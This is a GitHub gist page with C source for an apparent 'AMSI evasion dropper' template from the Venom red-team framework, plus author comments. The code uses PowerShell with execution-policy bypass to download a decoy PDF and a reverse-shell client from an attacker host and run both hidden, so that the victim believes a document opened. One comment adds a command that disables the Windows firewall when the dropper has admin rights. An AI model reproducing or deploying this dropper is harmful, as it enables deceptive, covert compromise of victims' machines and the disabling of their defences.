Skip to content

Instantly share code, notes, and snippets.

@r00t-3xp10it
Last active August 28, 2020 22:40
Show Gist options
  • Save r00t-3xp10it/001fb01363e4b2b7ffab447cfe9090eb to your computer and use it in GitHub Desktop.
Save r00t-3xp10it/001fb01363e4b2b7ffab447cfe9090eb to your computer and use it in GitHub Desktop.
new Venon v1.0.17 - Amsi Evasion Dropper
/*
Author: r00t-3xp10it [SSA RedTeam @2020]
Framework: Venom v1.0.17 - Amsi Evasion Agent nº 5
This template its used to download/exec (Legit.pdf and Client.exe) from attacker machine (LAN)
and execute them in separated processes (hidden). Given the false sensation to target user that
he is opening an pdf document when in reality he is executing an binary.exe with one PDF Icon.
*/
#include<stdio.h>
#include<stdlib.h>
#include<winsock2.h>
#include<windows.h>
int main()
{
/* Here we use powershell to download/execute the Legit pdf doc And the reverse tcp Client shell */
system("powershell -exec bypass -w 1 -C (NeW-Object Net.WebClient).DownloadFile('http://LhOsT/FiLNaMe.pdf', 'C:\\Users\\Public\\FiLNaMe.pdf') && powershell Start-Process -windowstyle hidden -FilePath 'C:\\Users\\Public\\FiLNaMe.pdf'");
system("powershell -exec bypass -w 1 -C (NeW-Object Net.WebClient).DownloadFile('http://LhOsT/Client.exe', 'C:\\Users\\Public\\Client.exe') && powershell Start-Process -windowstyle hidden -FilePath 'C:\\Users\\Public\\Client.exe' -ArgumentList 'ip=LhOsT','port=LpOrT'");
return 0;
}
@r00t-3xp10it
Copy link
Author

if [ "$easter_egg" = "ON" ]; then

obf

@r00t-3xp10it
Copy link
Author

r00t-3xp10it commented Aug 23, 2020

Disable firewall if dropper its executed with admin privileges

  • Modifie venom/templates/dropper.c template to add this ???
system("NET SESSION && if %errorlevel% EQU 0 (netsh advfirewall set allprofiles state off)")

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment